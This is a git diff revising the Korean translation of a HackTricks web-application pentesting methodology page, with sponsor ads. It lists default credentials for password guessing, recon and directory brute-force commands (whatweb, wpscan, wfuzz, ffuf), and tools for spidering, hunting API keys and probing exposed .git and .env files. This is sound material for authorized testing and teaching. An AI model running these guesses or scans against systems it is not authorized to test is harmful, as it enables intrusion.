* 일반 GET 요청을 보내 서버를 **스트레스 테스트**해 보세요 ([이 사람은 Facebook에서 작동했습니다](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||
* **프로토콜 변경**: http에서 https로, 또는 https에서 http로 변경
|
||||
* [**https://archive.org/web/**](https://archive.org/web/)에 가서 과거에 해당 파일이 **전 세계적으로 접근 가능했는지** 확인해 보세요.
|
||||
|
||||
## **무차별 대입**
|
||||
## **브루트 포스**
|
||||
|
||||
* **비밀번호 추측**: 다음 일반 자격 증명을 테스트하세요. 피해자에 대해 아는 것이 있나요? 또는 CTF 도전 이름은 무엇인가요?
|
||||
* [**무차별 대입**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** 기본, 다이제스트 및 NTLM 인증을 시도해 보세요.
|
||||
* **비밀번호 추측**: 다음 일반 자격 증명을 테스트하세요. 피해자에 대해 아는 것이 있나요? 또는 CTF 챌린지 이름은 무엇인가요?
|
||||
* [**브루트 포스**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** 기본, 다이제스트 및 NTLM 인증을 시도해 보세요.
|
||||
|
||||
{% code title="일반 자격 증명" %}
|
||||
{% code title="Common creds" %}
|
||||
```
|
||||
admin admin
|
||||
admin password
|
||||
|
@ -138,7 +140,9 @@ guest guest
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구와 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -152,7 +156,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,15 +15,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구사 필요_).
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 여러분의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
## Basic Info
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
웹 서비스는 가장 **일반적이고 광범위한 서비스**이며 많은 **다양한 유형의 취약점**이 존재합니다.
|
||||
## 기본 정보
|
||||
|
||||
웹 서비스는 가장 **일반적이고 광범위한 서비스**이며, 많은 **다양한 유형의 취약점**이 존재합니다.
|
||||
|
||||
**기본 포트:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
|
@ -50,8 +52,8 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
* [ ] 해당 기술 버전의 **알려진 취약점**이 있습니까?
|
||||
* [ ] **잘 알려진 기술**을 사용하고 있습니까? 더 많은 정보를 추출하기 위한 **유용한 트릭**이 있습니까?
|
||||
* [ ] 실행할 **전문 스캐너**가 있습니까(예: wpscan)?
|
||||
* [ ] **일반 목적의 스캐너**를 실행합니다. 무언가를 발견할지 아니면 흥미로운 정보를 발견할지 모릅니다.
|
||||
* [ ] **초기 점검**부터 시작합니다: **robots**, **sitemap**, **404** 오류 및 **SSL/TLS 스캔**(HTTPS인 경우).
|
||||
* [ ] **일반 목적의 스캐너**를 실행합니다. 무언가를 발견할지, 흥미로운 정보를 발견할지 알 수 없습니다.
|
||||
* [ ] **초기 검사**로 시작합니다: **로봇**, **사이트맵**, **404** 오류 및 **SSL/TLS 스캔**(HTTPS인 경우).
|
||||
* [ ] 웹 페이지를 **스파이더링**하기 시작합니다: 가능한 모든 **파일, 폴더** 및 **사용되는 매개변수**를 **찾는** 시간입니다. 또한 **특별한 발견**을 확인하세요.
|
||||
* [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 스파이더링해야 합니다._
|
||||
* [ ] **디렉토리 브루트 포싱**: 발견된 모든 폴더를 브루트 포스하여 새로운 **파일** 및 **디렉토리**를 검색합니다.
|
||||
|
@ -73,7 +75,7 @@ whatweb -a 3 <URL> #Aggresive
|
|||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Search **for** [**웹 애플리케이션의 취약점** **버전**](../../generic-methodologies-and-resources/search-exploits.md)
|
||||
Search **for** [**웹 애플리케이션 버전의 취약점**](../../generic-methodologies-and-resources/search-exploits.md)
|
||||
|
||||
### **WAF 확인하기**
|
||||
|
||||
|
@ -122,14 +124,14 @@ _같은 도메인이 **다른 기술**을 **다른 포트**, **폴더** 및 **
|
|||
|
||||
### 소스 코드 검토
|
||||
|
||||
애플리케이션의 **소스 코드**가 **github**에 있는 경우, 애플리케이션에 대해 **자신이 직접 화이트 박스 테스트**를 수행하는 것 외에도 현재 **블랙 박스 테스트**에 **유용한 정보**가 있을 수 있습니다:
|
||||
애플리케이션의 **소스 코드**가 **github**에 있는 경우, 애플리케이션에 대해 **자신의 화이트 박스 테스트**를 수행하는 것 외에도 현재 **블랙 박스 테스트**에 **유용한 정보**가 있을 수 있습니다:
|
||||
|
||||
* **변경 로그 또는 README 또는 버전** 파일이 있거나 웹을 통해 **버전 정보에 접근할 수 있는** 것이 있나요?
|
||||
* **변경 로그 또는 README 또는 버전** 파일이나 웹을 통해 접근 가능한 **버전 정보**가 있나요?
|
||||
* **자격 증명**은 어떻게 어디에 저장되나요? 자격 증명(사용자 이름 또는 비밀번호)이 포함된 (접근 가능한?) **파일**이 있나요?
|
||||
* **비밀번호**는 **일반 텍스트**, **암호화**되어 있거나 어떤 **해싱 알고리즘**이 사용되나요?
|
||||
* 어떤 것을 암호화하기 위해 **마스터 키**를 사용하고 있나요? 어떤 **알고리즘**이 사용되나요?
|
||||
* 무언가를 암호화하기 위해 **마스터 키**를 사용하고 있나요? 어떤 **알고리즘**이 사용되나요?
|
||||
* 어떤 취약점을 이용해 **이 파일들에 접근할 수 있나요**?
|
||||
* **github**에 (해결된 것과 해결되지 않은 것) **문제**에 **흥미로운 정보**가 있나요? 또는 **커밋 기록**에 (아마도 **오래된 커밋에 포함된 비밀번호**)?
|
||||
* **github**에 (해결된 것과 해결되지 않은 것) **흥미로운 정보**가 있나요? 또는 **커밋 기록**에 (아마도 **오래된 커밋에 입력된 비밀번호**)?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
@ -164,7 +166,7 @@ wpscan --force update -e --url <URL>
|
|||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> 이 시점에서 클라이언트가 사용하는 웹 서버에 대한 정보(주어진 데이터가 있을 경우)를 이미 가지고 있어야 하며, 테스트 중에 염두에 두어야 할 몇 가지 요령이 있어야 합니다. 운이 좋다면 CMS를 발견하고 스캐너를 실행했을 것입니다.
|
||||
> 이 시점에서 클라이언트가 사용하는 웹 서버에 대한 정보(주어진 데이터가 있을 경우)를 이미 가지고 있어야 하며, 테스트 중에 염두에 두어야 할 몇 가지 요령이 있습니다. 운이 좋다면 CMS를 발견하고 스캐너를 실행했을 것입니다.
|
||||
|
||||
## 단계별 웹 애플리케이션 탐색
|
||||
|
||||
|
@ -185,21 +187,21 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
웹 서버는 이상한 데이터가 전송될 때 **예상치 못한 방식으로 동작할 수 있습니다**. 이는 **취약점**이나 **민감한 정보의 노출**을 열 수 있습니다.
|
||||
|
||||
* /whatever\_fake.php (.aspx, .html, 등)와 같은 **가짜 페이지**에 접근하기
|
||||
* /whatever\_fake.php (.aspx, .html 등)와 같은 **가짜 페이지**에 접근
|
||||
* **쿠키 값** 및 **매개변수** 값에 **"\[]", "]]", 및 "\[\["** 추가하여 오류 생성
|
||||
* **URL**의 **끝**에 **`/~randomthing/%s`**를 입력하여 오류 생성
|
||||
* PATCH, DEBUG 또는 FAKE와 같은 **다른 HTTP 동사** 시도
|
||||
* **URL**의 **끝**에 **`/~randomthing/%s`**로 입력하여 오류 생성
|
||||
* PATCH, DEBUG 또는 FAKE와 같은 **다양한 HTTP 동사** 시도
|
||||
|
||||
#### **파일 업로드 가능 여부 확인 (**[**PUT 동사, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
**WebDav**가 **활성화**되어 있지만 루트 폴더에 **파일 업로드**를 위한 충분한 권한이 없는 경우 다음을 시도하세요:
|
||||
**WebDav**가 **활성화**되어 있지만 루트 폴더에 **파일 업로드**에 대한 충분한 권한이 없는 경우 다음을 시도하세요:
|
||||
|
||||
* **자격 증명** 무차별 대입
|
||||
* 웹 페이지 내에서 **발견된 폴더**의 **나머지**에 WebDav를 통해 **파일 업로드**. 다른 폴더에 파일을 업로드할 수 있는 권한이 있을 수 있습니다.
|
||||
|
||||
### **SSL/TLS 취약점**
|
||||
|
||||
* 애플리케이션이 **어떤 부분에서도 HTTPS 사용을 강제하지 않는다면**, 이는 **MitM 공격에 취약**합니다.
|
||||
* 애플리케이션이 **어떤 부분에서도 HTTPS 사용을 강제하지 않는다면**, 이는 **MitM 공격에 취약합니다**
|
||||
* 애플리케이션이 **HTTP를 사용하여 민감한 데이터(비밀번호)를 전송하는 경우**, 이는 높은 취약점입니다.
|
||||
|
||||
[**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하여 **취약점**을 확인하고 (버그 바운티 프로그램에서는 이러한 종류의 취약점이 수용되지 않을 수 있습니다) [**a2sv**](https://github.com/hahwul/a2sv)를 사용하여 취약점을 재확인하세요:
|
||||
|
@ -211,17 +213,17 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
정보 SSL/TLS 취약점에 대한 내용:
|
||||
Information about SSL/TLS vulnerabilities:
|
||||
|
||||
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
||||
### 스파이더링
|
||||
### Spidering
|
||||
|
||||
웹 내에서 어떤 종류의 **스파이더**를 실행합니다. 스파이더의 목표는 테스트된 애플리케이션에서 **가능한 많은 경로를 찾는 것**입니다. 따라서 웹 크롤링과 외부 소스를 사용하여 가능한 많은 유효한 경로를 찾아야 합니다.
|
||||
웹 내에서 어떤 종류의 **스파이더**를 실행합니다. 스파이더의 목표는 **테스트된 애플리케이션에서 가능한 많은 경로를 찾는 것**입니다. 따라서 웹 크롤링과 외부 소스를 사용하여 가능한 많은 유효한 경로를 찾아야 합니다.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 스파이더, JS 파일 및 외부 소스(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)에서 링크 찾기.
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML 스파이더, JS 파일에 대한 LinkFinder 및 Archive.org를 외부 소스로 사용.
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML 스파이더, JS 파일에 대한 LinkFider 및 Archive.org를 외부 소스로 사용.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 스파이더, "juicy files"도 표시.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화형 CLI HTML 스파이더. Archive.org에서도 검색합니다.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더는 아니지만 유용할 수 있습니다. 호스트가 있는 파일과 경로가 있는 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다.
|
||||
|
@ -229,47 +231,47 @@ sslyze --regular <ip:port>
|
|||
* [**gau**](https://github.com/lc/gau) (go): 외부 제공업체(wayback, otx, commoncrawl)를 사용하는 HTML 스파이더.
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 이 스크립트는 매개변수가 있는 URL을 찾아 나열합니다.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능이 있는 HTML 스파이더.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS 파일에서 새로운 경로를 검색할 수 있는 JS beautify 기능이 있는 HTML 스파이더. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다. 이는 LinkFinder의 래퍼입니다.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML 스파이더, JS 파일에서 새로운 경로를 검색할 수 있는 JS beautify 기능이 있습니다. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다. 이는 LinkFinder의 래퍼입니다.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스와 내장된 자바스크립트 파일 모두에서 엔드포인트를 추출합니다. 버그 헌터, 레드 팀원, 정보 보안 전문가에게 유용합니다.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 자바스크립트 파일에서 상대 URL을 구문 분석하기 위해 Tornado와 JSBeautifier를 사용하는 파이썬 2.7 스크립트. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것처럼 보입니다.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript 파일에서 상대 URL을 구문 분석하기 위해 Tornado와 JSBeautifier를 사용하는 Python 2.7 스크립트입니다. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것처럼 보입니다.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)을 주면 멋진 정규 표현식을 사용하여 상대 URL을 찾아 추출합니다.
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 여러 도구): 여러 도구를 사용하여 JS 파일에서 흥미로운 정보를 수집합니다.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): JS 파일을 찾습니다.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저에서 페이지를 로드하고 페이지를 로드하기 위해 로드된 모든 URL을 출력합니다.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 발견 도구.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 매개변수를 찾기 위한 Burp 확장.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 아름답게 정리된 JS 코드를 가져오는 도구.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저에서 페이지를 로드하고 페이지를 로드하는 데 필요한 모든 URL을 인쇄합니다.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 발견 도구입니다.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 매개변수를 찾기 위한 Burp 확장입니다.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 아름답게 정리된 JS 코드를 가져오는 도구입니다.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상을 위한 엔드포인트를 발견하는 데 사용되는 도구입니다.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback 머신에서 링크를 발견합니다(응답을 다운로드하고 더 많은 링크를 찾습니다).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 양식 작성 및 특정 정규 표현식을 사용하여 민감한 정보를 찾는 크롤러입니다.
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 양식 작성 및 특정 정규 표현식을 사용하여 민감한 정보를 찾습니다.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite는 사이버 보안 전문가를 위해 설계된 고급 다기능 GUI 웹 보안 크롤러/스파이더입니다.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, 경로, 비밀 및 기타 흥미로운 데이터를 자바스크립트 소스 코드에서 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, 경로, 비밀 및 기타 흥미로운 데이터를 JavaScript 소스 코드에서 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge는 요청에서 매개변수와 엔드포인트를 추출하여 퍼징 및 열거를 위한 사용자 정의 단어 목록을 생성하는 간단한 **Burp Suite 확장**입니다.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): 이를 위한 멋진 도구입니다.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): 이 작업에 대한 멋진 도구입니다.
|
||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): 찾을 수 있는 모든 링크를 인쇄합니다.
|
||||
|
||||
### 디렉토리 및 파일에 대한 무차별 대입
|
||||
### Brute Force directories and files
|
||||
|
||||
루트 폴더에서 **무차별 대입**을 시작하고 **이 방법**을 사용하여 발견된 **모든 디렉토리**를 무차별 대입해야 하며, **스파이더링**에 의해 **발견된** 모든 디렉토리도 포함해야 합니다(이 무차별 대입을 **재귀적으로** 수행하고 사용된 단어 목록의 시작 부분에 발견된 디렉토리 이름을 추가할 수 있습니다).\
|
||||
루트 폴더에서 **브루트 포싱**을 시작하고 **이 방법**을 사용하여 발견된 **모든** **디렉토리**를 브루트 포스해야 하며, **스파이더링**에 의해 **발견된** 모든 디렉토리도 포함해야 합니다(이 브루트 포싱을 **재귀적으로** 수행하고 사용된 단어 목록의 시작 부분에 발견된 디렉토리 이름을 추가할 수 있습니다).\
|
||||
도구:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Kali에 포함되어 있으며, **오래된** (및 **느린**) 기능이지만 작동합니다. 자동 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션에 비해 너무 느립니다.
|
||||
* **Dirb** / **Dirbuster** - Kali에 포함되어 있으며, **오래된** (및 **느린**) 하지만 기능적입니다. 자동 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션에 비해 너무 느립니다.
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 자동 서명된 인증서를 허용하지 않지만** 재귀 검색을 허용합니다.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 자동 서명된 인증서를 허용하며, **재귀** 검색이 **없습니다**.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 빠르며, 재귀 검색을 지원합니다.**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- 빠름: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): 스파이더는 아니지만 발견된 URL 목록을 주면 "중복된" URL을 삭제하는 도구입니다.
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 기록에서 디렉토리 목록을 생성하는 Burp 확장입니다.
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 기능이 중복된 URL을 제거합니다(기반 js 가져오기).
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): 이 도구는 스파이더는 아니지만 발견된 URL 목록을 주면 "중복된" URL을 삭제합니다.
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 기록에서 디렉토리 목록을 생성하기 위한 Burp 확장입니다.
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 기능이 중복된 URL을 제거합니다(자바스크립트 가져오기를 기반으로).
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): 사용된 기술을 감지하기 위해 wapalyzer를 사용하고 사용할 단어 목록을 선택합니다.
|
||||
|
||||
**추천 사전:**
|
||||
|
||||
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
|
||||
* [**Dirsearch** 포함된 사전](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
* [**Dirsearch** 포함 사전](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
* [Assetnote 단어 목록](https://wordlists.assetnote.io)
|
||||
* [Assetnote wordlists](https://wordlists.assetnote.io)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
* raft-large-directories-lowercase.txt
|
||||
* directory-list-2.3-medium.txt
|
||||
|
@ -283,9 +285,9 @@ sslyze --regular <ip:port>
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_무차별 대입 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 무차별 대입해야 합니다._
|
||||
_브루트 포싱이나 스파이더링 중에 새로운 디렉토리가 발견될 때마다 브루트 포싱을 해야 합니다._
|
||||
|
||||
### 발견된 각 파일에서 확인할 사항
|
||||
### What to check on each file found
|
||||
|
||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 인수인계가 발생할 수 있는 HTML 내의 끊어진 링크를 찾습니다.
|
||||
* **파일 백업**: 모든 파일을 찾은 후, 모든 실행 파일의 백업을 찾습니다("_.php_", "_.aspx_"...). 백업 이름의 일반적인 변형은: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ 도구 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**을 사용할 수 있습니다.**
|
||||
|
@ -294,52 +296,52 @@ _무차별 대입 또는 스파이더링 중에 새로운 디렉토리가 발견
|
|||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **주석:** 모든 파일의 주석을 확인하십시오. **자격 증명** 또는 **숨겨진 기능**을 찾을 수 있습니다.
|
||||
* **CTF**를 진행 중이라면, "일반적인" 트릭은 페이지의 **오른쪽**에 **정보**를 **숨기는 것**입니다(브라우저로 소스 코드를 열어도 데이터를 보지 못하도록 **수백 개의 공백**을 사용). 다른 가능성은 **여러 개의 새 줄**을 사용하고 웹 페이지의 **하단**에 주석으로 **정보를 숨기는 것**입니다.
|
||||
* **API 키**: **API 키**를 찾으면 다양한 플랫폼의 API 키 사용 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API 키: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik와 같은 API 키를 찾으면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용하여 키가 접근할 수 있는 API를 확인할 수 있습니다.
|
||||
* **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 **S3 버킷**과 관련이 있는지 확인하십시오. 그런 경우, [**버킷의 권한을 확인하십시오**](buckets/).
|
||||
* **댓글:** 모든 파일의 댓글을 확인하십시오. **자격 증명** 또는 **숨겨진 기능**을 찾을 수 있습니다.
|
||||
* **CTF**를 진행 중이라면, "일반적인" 트릭은 페이지의 **오른쪽**에 있는 댓글 안에 **정보**를 **숨기는 것**입니다(브라우저로 소스 코드를 열어도 데이터를 보지 못하도록 **수백 개의 공백**을 사용). 다른 가능성은 **여러 개의 새 줄**을 사용하고 웹 페이지의 **하단**에 있는 댓글에 **정보를 숨기는 것**입니다.
|
||||
* **API 키**: **API 키**를 발견하면 다양한 플랫폼의 API 키 사용 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API 키: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik와 같은 API 키를 발견하면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용하여 키가 접근할 수 있는 API를 확인할 수 있습니다.
|
||||
* **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 어떤 **S3 버킷**과 관련이 있는지 확인하십시오. 그런 경우, [**버킷의 권한을 확인하십시오**](buckets/).
|
||||
|
||||
### 특별 발견
|
||||
### Special findings
|
||||
|
||||
**스파이더링** 및 **무차별 대입**을 수행하는 동안 **흥미로운** **것들**을 **주목해야** 합니다.
|
||||
**스파이더링** 및 **브루트 포싱**을 수행하는 동안 **흥미로운** **것들**을 **발견할 수 있습니다**.
|
||||
|
||||
**흥미로운 파일**
|
||||
|
||||
* **CSS** 파일 내의 다른 파일에 대한 **링크**를 찾습니다.
|
||||
* [**.git** 파일을 찾으면 일부 정보를 추출할 수 있습니다](git.md)
|
||||
* **.env**를 찾으면 API 키, DB 비밀번호 및 기타 정보를 찾을 수 있습니다.
|
||||
* **API 엔드포인트**를 찾으면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일은 아니지만 아마도 "파일처럼" 보일 것입니다.
|
||||
* **JS 파일**: 스파이더링 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한 발견된 각 JS 파일을 **모니터링하는 것이 흥미로울 것입니다**. 어떤 경우에는 변경 사항이 코드에 잠재적인 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.**
|
||||
* [**.git**_ 파일을 발견하면 일부 정보를 추출할 수 있습니다](git.md)
|
||||
